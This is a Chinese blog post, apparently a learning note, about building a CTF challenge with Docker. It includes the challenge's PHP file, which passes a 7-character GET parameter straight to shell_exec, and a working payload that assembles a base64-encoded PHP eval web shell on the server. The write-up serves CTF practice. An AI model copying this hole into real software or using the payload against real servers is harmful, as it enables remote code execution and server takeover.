搭建这个题目本意就是想学习一下dockerfile和docker-compose.yml文件的使用,原理讲的不透彻,主要记录一下操作

首先在本地把解题的源码写完,再上传到服务器
zLikCD.png
files下放的是flag.php和index.php

1
2
3
4
5
6
7
8
9
10
11
//index.php
<?php
highlight_file(__FILE__);
if(strlen($_GET[1])<=7){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>

if(strlen($_GET[1])<=7)这里我一开始测试用的小于8,然后这里改了也没再测试,意思都一样,然后网上这里用的小于7,这样的话7字符根本就过不了
言归正传,我们先看一下dockerfile

1
2
3
4
5
6
7
8
9
10
11
FROM ctftraining/base_image_nginx_mysql_php_73

LABEL Author="JokerY"

LABEL Blog="https://joker2763.github.io/"

ENV LANG C.UTF-8

COPY files /var/www/html

EXPOSE 80

FROM就是拉取一个基础镜像
LABEL就是打标签,说明作者等
ENV LANG C.UTF-8这一句就是使用utf-8编码,防止中文乱码,当然在这个题没有中文
COPY这里就是把服务器的解题所需文件放到docker容器里面
EXPOSE是映射到宿主机的端口,就是暴露容器80端口

然后看一下docker-compose.yml

1
2
3
4
5
6
7
8
9
version: "2"

services:
web:
build: .
environment:
- FLAG=flag{This_is_flag}
ports:
- "2333:80"

version指明yml文件的版本号
services就是yml文件的主体,定义了服务了配置。bulid就是基于dockerfile启动一个容器,后面就是dockerfile路径,这里代表dockerfile和yaml文件在同一路径,environment这个就是弄动态flag,这里我以后往平台上题再学一下操作,ports这里2333表示映射的端口,80这里和dockerfile要一样

这样一个题目搭建就基本完成了,然后再去服务器运行docker-compose.yml文件就可以快速搭建题目了
zLieKA.png
可以看到直接执行sudo docker-compose up -d就可以快速起一个环境,而且这里创建了一个rce-web-1镜像,并且这里看到容器创建成功
访问一下,看到题目
zLiVvd.png
打一下
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>hp  
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

这里可以使用脚本自动执行,但是网上脚本我执行发现一句话写不进去,可能哪里有点问题
直接手动吧
成功写入
zLiA8e.png
拿到flag,这里也就是flag.php的代码
zLii4O.png
不知道为什么蚁剑连不上,可能是我环境有问题,以后搭建文件上传的题目再细细研究一下